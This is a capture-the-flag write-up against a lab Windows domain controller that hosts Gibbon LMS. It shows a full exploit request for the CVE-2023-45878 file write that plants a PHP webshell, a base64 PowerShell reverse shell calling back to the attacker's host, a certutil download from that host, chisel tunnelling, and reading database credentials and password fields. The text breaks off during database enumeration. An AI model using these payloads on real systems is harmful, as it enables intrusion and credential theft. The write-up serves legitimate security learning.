Reconnaissance
nmap/TCP
nmap detected a bunch of open ports which is typical for a Domain Controller:
croc@hacker$ rustscan -a 10.10.11.60 --ulimit 5000 -- -A -T5 -oA Initial[~] Automatically increasing ulimit value to 5000.Open 10.10.11.60:22Open 10.10.11.60:53Open 10.10.11.60:80Open 10.10.11.60:88Open 10.10.11.60:135Open 10.10.11.60:139Open 10.10.11.60:389Open 10.10.11.60:445Open 10.10.11.60:464Open 10.10.11.60:593Open 10.10.11.60:636Open 10.10.11.60:3268Open 10.10.11.60:3269Open 10.10.11.60:49668Open 10.10.11.60:49670Open 10.10.11.60:49664Open 10.10.11.60:56803Open 10.10.11.60:56807Open 10.10.11.60:56817[~] Starting Nmap[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,49668,49670,49664,56803,56807,56817 10.10.11.60Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 05:58 EDTNmap scan report for 10.10.11.60Host is up, received echo-reply ttl 127 (0.25s latency).Scanned at 2025-03-21 05:59:14 EDT for 123sPORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)53/tcp open domain syn-ack ttl 127 Simple DNS Plus80/tcp open http syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS| http-title: Education — Walkerville Elementary School|_Requested resource was http://frizzdc.frizz.htb/home/|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.1288/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-21 16:59:26Z)135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)445/tcp open microsoft-ds? syn-ack ttl 127464/tcp open kpasswd5? syn-ack ttl 127593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped syn-ack ttl 1273268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped syn-ack ttl 12749664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.056803/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC56807/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC56817/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPCWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016OS fingerprint not ideal because: Timing level 5 (Insane) usedAggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)No exact OS matches for host (test conditions non-ideal).Uptime guess: 0.038 days (since Fri Mar 21 05:07:11 2025)Network Distance: 2 hopsTCP Sequence Prediction: Difficulty=255 (Good luck!)IP ID Sequence Generation: IncrementalService Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| p2p-conficker:| Checking for Conficker.C or higher...| Check 1 (port 21203/tcp): CLEAN (Failed to receive data)| Check 2 (port 49016/tcp): CLEAN (Couldn't connect)| Check 3 (port 49509/udp): CLEAN (Timeout)| Check 4 (port 31256/udp): CLEAN (Timeout)|_ 0/4 checks are positive: Host is CLEAN or ports are blocked|_smb2-time: Protocol negotiation failed (SMB2)|_smb2-security-mode: Couldn't establish a SMBv2 connection.TRACEROUTE (using port 22/tcp)HOP RTT ADDRESS1 238.21 ms 10.10.14.12 238.47 ms 10.10.11.60OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 137.54 seconds Raw packets sent: 107 (8.392KB) | Rcvd: 53 (3.060KB)The hostname of the box is FRIZZDC so I added FRIZZDC.frizz.htb and frizz.htb into the hosts file.
croc@hacker$ sudo sed -i '$a10.10.11.60tFRIZZDC.frizz.htb frizz.htb' etc/hostsLDAP - 389/TCP
Anonymous LDAP lookup failed, need a valid credential.
croc@hacker$ ldapsearch -x -H ldap://frizzdc.frizz.htb -D '' -w '' -b 'DC=frizz,DC=htb'# extended LDIF## LDAPv3# base with scope subtree# filter: (objectclass=*)# requesting: ALL## search resultsearch: 2result: 1 Operations errortext: 000004DC: LdapErr: DSID-0C090CB6, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v4f7c# numResponses: 1SMB - 445/TCP
No luck with null authentication. A STATUS_NOT_SUPPORTED error appears indicating that the type of authentication mechanism being used is not supported.
croc@hacker$ nxc smb frizzdc.frizz.htb -u '' -p '' --sharesSMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60: STATUS_NOT_SUPPORTEDSMB 10.10.11.60 445 10.10.11.60 [-] IndexError: list index out of rangeSMB 10.10.11.60 445 10.10.11.60 [-] Error enumerating shares: Error occurs while reading from remote(104)
croc@hacker$ nxc smb frizzdc.frizz.htb -u 'guest' -p '' --sharesSMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60guest: STATUS_NOT_SUPPORTEDHTTP - 80/TCP
Main Page
The IP address of the box, 10.10.11.60 redirected to frizzdc.frizz.htb/home. This looks like a school website for the Walkerville Elementary School.

The following looks like base64 encoded text which may be interesting.

ChatGPT decoded it for me and it says:
Staff Login - Gibbon LMS
On the Staff Login Page, I found out that the Gibbon LMS v25.0.00 is in use which is an open-source learning management system designed for educational institutions.

Read the Notice carefully:
Forgot Password
On the Forgot Password page, we have username validation. Following is a failed attempt where the email address tried doesn’t exist.

On the other hand, trying out a bunch of different combinations for Ms. Fiona Frizzle i.e. Firstinitial Lastname or firstname.lastname, I found a valid username of f.frizzle@frizz.htb:

I indeed verified that using kerbrute as well:
croc@hacker$ echo "f.frizzle" > kerbcroc@hacker$ kerbrute userenum -d frizz.htb --dc 10.10.11.60 -o kerbrute.log ./kerb __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ / ___/ __ / ___/ / / / __/ _ / , Using KDC(s):2025/03/22 13:43:16 > 10.10.11.60:882025/03/22 13:43:16 > [+] VALID USERNAME: f.frizzle@frizz.htb2025/03/22 13:43:16 > Done! Tested 1 usernames (1 valid) in 0.417 secondsCVEs Enumeration - Gibbon v25.0.0
Initially, I looked for exploits for Gibbon v25.0.0 & found a LFI exploit but that turned out to be a rabbit hole as I didn’t find anything useful in gibbon.sql file with that.
After that, I decided to look for vulnerabilities in higher versions and found two of them:
The latter one is an authenticated RCE. Since we don’t have valid credentials yet, let’s set it aside for now and focus on the other exploit.
Gibbon v25.0.1 - Arbitrary File Write(CVE-2023-45878)
This allows unauthenticated users to upload arbitrary files and eventually gain remote code execution on the underlying system.
Using this PoC, I uploaded the payload <?php echo system($_GET['cmd'])?> to the file croc.php on the server. Below is the POST request and the response:
REQUEST:
Note that the base installation directory of Gibbon in our scenario is Gibbon-LMS as seen in the URL here.
POST /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1Host: frizzdc.frizz.htbAccept-Language: en-US,en;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 105
img=image/png;croc,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=croc.php&gibbonPersonID=0000000001RESPONSE:
HTTP/1.1 200 OKDate: Sat, 22 Mar 2025 17:35:34 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Set-Cookie: G60fa1cd0af7be78b=la8egvbremc6h0jpv0g425bu8h; path=/; HttpOnly; SameSite=LaxX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: max-age=0, no-cache, no-store, must-revalidateExpires: Thu, 1 Jan 1970 00:00:00 GMTContent-Length: 8Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8
croc.phpThe payload file has been successfully uploaded to the server.

And, just like that, we have Remote Code Execution(RCE) here:

Shell as w.webservice
Payload Generation
I used revshells.com in order to generate the following base64 encoded powershell reverse shell payload.
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADkAIgAsADgAOAA4ADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAReverse Shell
I sent the powershell payload as a parameter which upon execution will return us a reverse shell.

And, here is our shell:
croc@hacker$ nc -nvlp 8888listening on [any] 8888 ...connect to [10.10.14.104] from (UNKNOWN) [10.10.11.60] 55731
PS C:\xampp\htdocs\Gibbon-LMS>Further Enumeration
System Information
PS C:xampphtdocsGibbon-LMS> systeminfoHost Name: FRIZZDCOS Name: Microsoft Windows Server 2022 DatacenterOS Version: 10.0.20348 N/A Build 20348OS Manufacturer: Microsoft CorporationOS Configuration: Primary Domain ControllerOS Build Type: Multiprocessor FreeRegistered Owner: Windows UserRegistered Organization:Product ID: 00454-70295-72962-AA557Original Install Date: 10/29/2024, 9:13:01 AMSystem Boot Time: 4/25/2025, 10:01:14 AMSystem Manufacturer: VMware, Inc.System Model: VMware Virtual PlatformSystem Type: x64-based PCProcessor(s): 1 Processor(s) Installed. [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 MhzBIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020Windows Directory: C:WindowsSystem Directory: C:Windowssystem32Boot Device: DeviceHarddiskVolume1System Locale: en-us;English (United States)Input Locale: en-us;English (United States)Time Zone: (UTC-08:00) Pacific Time (US & Canada)Total Physical Memory: 4,095 MBAvailable Physical Memory: 2,587 MBVirtual Memory: Max Size: 4,095 MBVirtual Memory: Available: 2,529 MBVirtual Memory: In Use: 1,566 MBPage File Location(s): N/ADomain: frizz.htbLogon Server: N/AHotfix(s): N/ANetwork Card(s): 1 NIC(s) Installed. [01]: vmxnet3 Ethernet Adapter Connection Name: Ethernet0 2 DHCP Enabled: No IP address(es) [01]: 10.10.11.60 [02]: fe80::ea33:d9de:c23b:2a80Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.Domain Users
PS C:xampphtdocsGibbon-LMS> Get-ADUser -Filter * -Properties DisplayName | Select-Object SamAccountNameSamAccountName--------------AdministratorGuestkrbtgtf.frizzlew.lih.armM.SchoolBusd.hudsonk.franklinl.awesomet.wrightr.tennelliJ.perlsteina.perlsteinp.teresev.frizzleg.frizzlec.sandiegoc.ramonm.ramonw.WebserviceDomain Groups
PS C:xampphtdocsGibbon-LMS> Get-ADGroup -Filter * | % { $g=$_.Name; $m=Get-ADGroupMember $_ -EA 0; if ($m) { "`n$g`n" + ('-'*$g.Length); $m | % Name } }Administrators--------------v.frizzleDomain AdminsEnterprise AdminsAdministratorUsers-----Domain UsersAuthenticated UsersINTERACTIVEGuests------Domain GuestsGuestIIS_IUSRS---------IUSRRemote Management Users-----------------------M.SchoolBusf.frizzleDomain Controllers------------------FRIZZDCSchema Admins-------------AdministratorEnterprise Admins-----------------AdministratorDomain Admins-------------Administratorv.frizzleDomain Users------------Administratorkrbtgtf.frizzlew.lih.armM.SchoolBusd.hudsonk.franklinl.awesomet.wrightr.tennelliJ.perlsteina.perlsteinp.teresev.frizzleg.frizzlec.sandiegoc.ramonm.ramonw.WebserviceDomain Guests-------------GuestGroup Policy Creator Owners---------------------------AdministratorDesktop AdminsPre-Windows 2000 Compatible Access----------------------------------Authenticated UsersWindows Authorization Access Group----------------------------------ENTERPRISE DOMAIN CONTROLLERSDenied RODC Password Replication Group--------------------------------------Read-only Domain ControllersGroup Policy Creator OwnersDomain AdminsCert PublishersEnterprise AdminsSchema AdminsDomain ControllerskrbtgtDesktop Admins--------------M.SchoolBusInteresting Files
A configuration file named config.php was spotted under the base installation directory of gibbon:
PS C:xampphtdocsGibbon-LMS> dir Directory: C:xampphtdocsGibbon-LMSMode LastWriteTime Length Name---- ------------- ------ ----d----- 1/20/2023 6:04 AM i18nd----- 1/20/2023 6:04 AM installerd----- 1/20/2023 6:04 AM libd----- 1/20/2023 6:04 AM modulesd----- 1/20/2023 6:04 AM resourcesd----- 1/20/2023 6:04 AM srcd----- 1/20/2023 6:04 AM themesd----- 3/22/2025 6:46 PM uploadsd----- 1/20/2023 6:04 AM vendor-a---- 1/20/2023 6:04 AM 634 .htaccess-a---- 1/20/2023 6:04 AM 197078 CHANGEDB.php-a---- 1/20/2023 6:04 AM 103023 CHANGELOG.txt-a---- 1/20/2023 6:04 AM 2972 composer.json-a---- 1/20/2023 6:04 AM 294353 composer.lock-a---- 10/11/2024 8:15 PM 1307 config.php-a---- 1/20/2023 6:04 AM 3733 error.php-a---- 1/20/2023 6:04 AM 1608 export.php-a---- 1/20/2023 6:04 AM 32988 favicon.ico-a---- 1/20/2023 6:04 AM 2277 fullscreen.php-a---- 1/20/2023 6:04 AM 57535 functions.php-a---- 1/20/2023 6:04 AM 5610 gibbon.php-a---- 10/29/2024 7:27 AM 493211 gibbon.sql-a---- 1/20/2023 6:04 AM 1254473 gibbon_demo.sql-a---- 1/20/2023 6:04 AM 31228 index.php-a---- 1/20/2023 6:04 AM 2356 indexExport.php-a---- 1/20/2023 6:04 AM 813 indexFindRedirect.php-a---- 1/20/2023 6:04 AM 12327 index_fastFinder_ajax.php-a---- 1/20/2023 6:04 AM 2579 index_notification_ajax.php-a---- 1/20/2023 6:04 AM 2767 index_notification_ajax_alarm.php-a---- 1/20/2023 6:04 AM 1690 index_notification_ajax_alarmConfirmProcess.php-a---- 1/20/2023 6:04 AM 1647 index_notification_ajax_alarmProcess.php-a---- 1/20/2023 6:04 AM 1245 index_notification_ajax_alarm_tickUpdate.php-a---- 1/20/2023 6:04 AM 2142 index_parentPhotoDeleteProcess.php-a---- 1/20/2023 6:04 AM 3549 index_parentPhotoUploadProcess.php-a---- 1/20/2023 6:04 AM 2046 index_tt_ajax.php-a---- 1/20/2023 6:04 AM 753 keepAlive.php-a---- 1/20/2023 6:04 AM 35113 LICENSE-a---- 1/20/2023 6:04 AM 7589 login.php-a---- 1/20/2023 6:04 AM 1263 logout.php-a---- 1/20/2023 6:04 AM 3905 notifications.php-a---- 1/20/2023 6:04 AM 2110 notificationsActionProcess.phpThis file revealed a set of database credential - MrGibbonsDB / MisterGibbs!Parrot!?1.
PS C:xampphtdocsGibbon-LMS> Get-Content config.php.*//** * Sets the database connection information. * You can supply an optional $databasePort if your server requires one. */$databaseServer = 'localhost';$databaseUsername = 'MrGibbonsDB';$databasePassword = 'MisterGibbs!Parrot!?1';$databaseName = 'gibbon';/** * Sets a globally unique id, to allow multiple installs on a single server. */$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';/** * Sets system-wide caching factor, used to balance performance and freshness. * Value represents number of page loads between cache refresh. * Must be positive integer. 1 means no caching. */$caching = 10;Gibbon LMS uses mysql as its database backend according to its documentation:
Non-default Running Services
The following command shows all the running services other than the default ones. As per our expectation, mysql is running as a service here:
PS C:xampphtdocsGibbon-LMS> Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq 'Running' -and $_.PathName -notlike 'C:WindowsSystem32*' } | Select-Object Name, StartName, PathName | Sort-Object Name | Format-ListName : ADWSStartName : LocalSystemPathName : C:WindowsADWSMicrosoft.ActiveDirectory.WebServices.exeName : Apache2.4StartName : w.webservice@frizz.htbPathName : "C:xamppapachebinhttpd.exe" -k runserviceName : LSMStartName :PathName :Name : mysqlStartName : w.webservice@frizz.htbPathName : C:xamppmysqlbinmysqld --defaults-file=C:xamppmysqlbinmy.ini mysqlName : VGAuthServiceStartName : LocalSystemPathName : "C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe"Name : VMToolsStartName : LocalSystemPathName : "C:Program FilesVMwareVMware Toolsvmtoolsd.exe"According to the mysql configuration file in-use here, it is utilizing the default port of 3306/tcp:
PS C:xampphtdocsGibbon-LMS> Get-Content C:xamppmysqlbinmy.ini# Example MySQL config file for small systems.## This is for a system with little memory (<= 64M) where MySQL is only used# from time to time and it's important that the mysqld daemon# doesn't use much resources.## You can copy this file to# C:/xampp/mysql/bin/my.cnf to set global options,# mysql-data-dir/my.cnf to set server-specific options (in this# installation this directory is C:/xampp/mysql/data) or# ~/.my.cnf to set user-specific options.## In this file, you can use all long options that a program supports.# If you want to know which options a program supports, run the program# with the "--help" option.# The following options will be passed to all MySQL clients[client]# password = your_passwordport=3306socket="C:/xampp/mysql/mysql.sock"....We can indeed verify that mysql is actively listening for incoming connections on 3306:
PS C:xampphtdocsGibbon-LMS> netstat -ano | findstr 3306 TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 2528 TCP [::]:3306 [::]:0 LISTENING 2528 UDP 0.0.0.0:63306 *:* 1152Port Forwarding - Chisel
You might be asking, Why Chisel?? Chisel is the most viable option in this scenario as it can operate without SSH access to the target.
Transfer to the Target
You can download the Windows version of chisel using the following commands:
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gzgzip -d chisel_1.10.1_windows_amd64.gzAfter that, transfer it to the target using certutil.exe:
PS C:xampphtdocsGibbon-LMS> certutil.exe -f -urlcache -split http://10.10.14.239/chisel_1.10.1_windows_amd64 chisel_1.10.1_windows_amd64.exe**** Online **** 000000 ... 94f000CertUtil: -URLCache command completed successfully.Start the Server
Our aim is to do a remote port forwarding setup. Hence, we should run the chisel server on our attack box:
croc@hacker$ chisel server --socks5 --reverse -p 90902025/04/23 05:47:27 server: Reverse tunnelling enabled2025/04/23 05:47:27 server: Fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8=2025/04/23 05:47:27 server: Listening on http://0.0.0.0:9090Connect Back..
We are going to connect back to our chisel server as a client and forward the port 3306/tcp on the target to 33061/tcp on our attack box.
PS C:xampphtdocsGibbon-LMS> ./chisel_1.10.1_windows_amd64.exe client --fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8= 10.10.14.239:9090 R:33061:127.0.0.1:3306Our tunnel has been established as seen below:

We can indeed verify it as well as we have an active connection:
croc@hacker$ ss -tulpn | grep 33061tcp LISTEN 0 4096 *:33061 *:* users:(("chisel",pid=52843,fd=7))Connect using mysql
Now, we can connect to the database using the credentials we already have:
croc@hacker$ mysql -h 127.0.0.1 -P 33061 -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' --skip-sslWelcome to the MariaDB monitor. Commands end with ; or g.Your MariaDB connection id is 1219Server version: 10.4.32-MariaDB mariadb.org binary distributionCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Support MariaDB developers by giving a star at https://github.com/MariaDB/serverType 'help;' or 'h' for help. Type 'c' to clear the current input statement.MariaDB [(none)]>--skip-ssl is used to bypass encryption checks which were causing an error.
Shell as f.frizzle
Database Enumeration
I went off by listing the databases and selected the gibbon database.
MariaDB [(none)]> show databases;+--------------------+| Database |+--------------------+| gibbon || information_schema || test |+--------------------+3 rows in set (0.347 sec)MariaDB [(none)]> use gibbon;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedAfter that, upon listing the tables, I was bombarded with 191 entries. That’s exhausting, right? So, what I did instead is modify my SQL query to only return tables that have rows greater than 0. It’s much better now!
MariaDB [gibbon]> select table_name, table_rows from information_schema.tables where table_schema = 'gibbon' AND table_rows > 0;+-------------------------------+------------+| table_name | table_rows |+-------------------------------+------------+| gibbonaction | 357 || gibbonactivity | 99 || gibbonactivityslot | 95 || gibbonactivitystaff | 244 || gibbonalertlevel | 3 || gibbonattendancecode | 6 || gibboncountry | 240 || gibboncourse | 126 || gibboncourseclass | 242 || gibboncourseclassperson | 3764 || gibbondaysofweek | 7 || gibbondepartment | 13 || gibbondepartmentstaff | 167 || gibbonemailtemplate | 14 || gibbonexternalassessment | 3 || gibbonexternalassessmentfield | 128 || gibbonfamily | 738 || gibbonfamilyadult | 1448 || gibbonfamilychild | 910 || gibbonfileextension | 45 || gibbonfinancefeecategory | 5 || gibbonformfield | 104 || gibbonformgroup | 19 || gibbonformpage | 5 || gibbonhouse | 3 || gibboni18n | 46 || gibbonindescriptor | 3 || gibbonlanguage | 83 || gibbonlibraryitem | 11 || gibbonlibrarytype | 8 || gibbonlog | 17 || gibbonmedicalcondition | 27 || gibbonmessenger | 14 || gibbonmessengertarget | 42 || gibbonmodule | 25 || gibbonnotificationevent | 35 || gibbonoutcome | 9 || gibbonpermission | 482 || gibbonperson | 1 || gibbonpersonaldocumenttype | 5 || gibbonplannerentry | 5 || gibbonreportingcriteriatype | 2 || gibbonresource | 6 || gibbonresourcetag | 35 || gibbonrole | 5 || gibbonrubriccell | 54 || gibbonrubriccolumn | 6 || gibbonrubricrow | 9 || gibbonscale | 14 || gibbonscalegrade | 329 || gibbonschoolyear | 2 || gibbonschoolyearterm | 6 || gibbonsession | 18 || gibbonsetting | 313 || gibbonspace | 60 || gibbonstaff | 166 || gibbonstaffabsencetype | 4 || gibbonstudentenrolment | 391 || gibbonstudentnotecategory | 4 || gibbonttcolumn | 5 |+-------------------------------+------------+60 rows in set (0.306 sec)Looking up on Google for tables where the personal information of users might be stored, I found this forum where they state gibbonPerson table to be the one.
Let’s see the structure of the gibbonPerson table:
MariaDB [gibbon]> DESC gibbonPerson;+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+| Field | Type | Null | Key | Default | Extra |+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+| gibbonPersonID | int(10) unsigned zerofill | NO | PRI | NULL | auto_increment || title | varchar(5) | NO | | NULL | || surname | varchar(60) | NO | | | || firstName | varchar(60) | NO | | | || preferredName | varchar(60) | NO | | | || officialName | varchar(150) | NO | | NULL | || nameInCharacters | varchar(60) | NO | | NULL | || gender | enum('M','F','Other','Unspecified') | NO | | Unspecified | || username | varchar(20) | NO | UNI | NULL | || passwordStrong | varchar(255) | NO | | NULL | || passwordStrongSalt | varchar(255) | NO | | NULL | || passwordForceReset | enum('N','Y') | NO | | N | || status | enum('Full','Expected','Left','Pending Approval') | NO | | Full | || canLogin | enum('Y','N') | NO | | Y | || gibbonRoleIDPrimary | int(3) unsigned zerofill | NO | | NULL | || gibbonRoleIDAll | varchar(255) | NO | | NULL | || dob | date | YES | | NULL | || email | varchar(75) | YES | | NULL | || emailAlternate | varchar(75) | YES | | NULL | || image_240 | varchar(255) | YES | | NULL | || lastIPAddress | varchar(15) | NO | | | || lastTimestamp | timestamp | YES | | NULL | || lastFailIPAddress | varchar(15) | YES | | NULL | || lastFailTimestamp | timestamp | YES | | NULL | || failCount | int(1) | YES | | 0 | || address1 | mediumtext | NO | | NULL | || address1District | varchar(255) | NO | | NULL | || address1Country | varchar(255) | NO | | NULL | || address2 | mediumtext | NO | | NULL | || address2District | varchar(255) | NO | | NULL | || address2Country | varchar(255) | NO | | NULL | || phone1Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | || phone1CountryCode | varchar(7) | NO | | NULL | || phone1 | varchar(20) | NO | | NULL | || phone3Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | || phone3CountryCode | varchar(7) | NO | | NULL | || phone3 | varchar(20) | NO | | NULL | || phone2Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | || phone2CountryCode | varchar(7) | NO | | NULL | || phone2 | varchar(20) | NO | | NULL | || phone4Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | || phone4CountryCode | varchar(7) | NO | | NULL | || phone4 | varchar(20) | NO | | NULL | || website | varchar(255) | NO | | NULL | || languageFirst | varchar(30) | NO | | NULL | || languageSecond | varchar(30) | NO | | NULL | || languageThird | varchar(30) | NO | | NULL | || countryOfBirth | varchar(30) | NO | | NULL | || birthCertificateScan | varchar(255) | NO | | NULL | || ethnicity | varchar(255) | NO | | NULL | || religion | varchar(30) | NO | | NULL | || profession | varchar(90) | NO | | NULL | || employer | varchar(90) | NO | | NULL | || jobTitle | varchar(90) | NO | | NULL | || emergency1Name | varchar(90) | NO | | NULL | || emergency1Number1 | varchar(30) | NO | | NULL | || emergency1Number2 | varchar(30) | NO | | NULL | || emergency1Relationship | varchar(30) | NO | | NULL | || emergency2Name | varchar(90) | NO | | NULL | || emergency2Number1 | varchar(30) | NO | | NULL | || emergency2Number2 | varchar(30) | NO | | NULL | || emergency2Relationship | varchar(30) | NO | | NULL | || gibbonHouseID | int(3) unsigned zerofill | YES | | NULL | || studentID | varchar(15) | NO | | NULL | || dateStart | date | YES | | NULL | || dateEnd | date | YES | | NULL | || gibbonSchoolYearIDClassOf | int(3) unsigned zerofill | YES | | NULL | || lastSchool | varchar(100) | NO | | NULL | || nextSchool | varchar(100) | NO | | NULL | || departureReason | varchar(50) | NO | | NULL | || transport | varchar(255) | NO | | NULL | || transportNotes | text | NO | | NULL | || calendarFeedPersonal | text | NO | | NULL | || viewCalendarSchool | enum('Y','N') | NO | | Y | || viewCalendarPersonal | enum('Y','N') | NO | | Y | || viewCalendarSpaceBooking | enum('Y','N') | NO | | N | || gibbonApplicationFormID | int(12) unsigned zerofill | YES | | NULL | || lockerNumber | varchar(20) | NO | | NULL | || vehicleRegistration | varchar(20) | NO | | NULL | || personalBackground | varchar(255) | NO | | NULL | || messengerLastRead | datetime | YES | | NULL | || privacy | text | YES | | NULL | || dayType | varchar(255) | YES | | NULL | || gibbonThemeIDPersonal | int(4) unsigned zerofill | YES | | NULL | || gibboni18nIDPersonal | int(4) unsigned zerofill | YES | | NULL | || studentAgreements | text | YES | | NULL | || googleAPIRefreshToken | text | NO | | NULL | || microsoftAPIRefreshToken | text | NO | | NULL | || genericAPIRefreshToken | text | NO | | NULL | || receiveNotificationEmails | enum('Y','N') | NO | | Y | || mfaSecret | varchar(16) | YES | | NULL | || mfaToken | text | YES | | NULL | || cookieConsent | enum('Y','N') | YES | | NULL | || fields | text | NO | | NULL | |+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+Notice the username, passwordStrong, and passwordStrongSalt fields from here. Let’s query to see whether we have something in here or not:
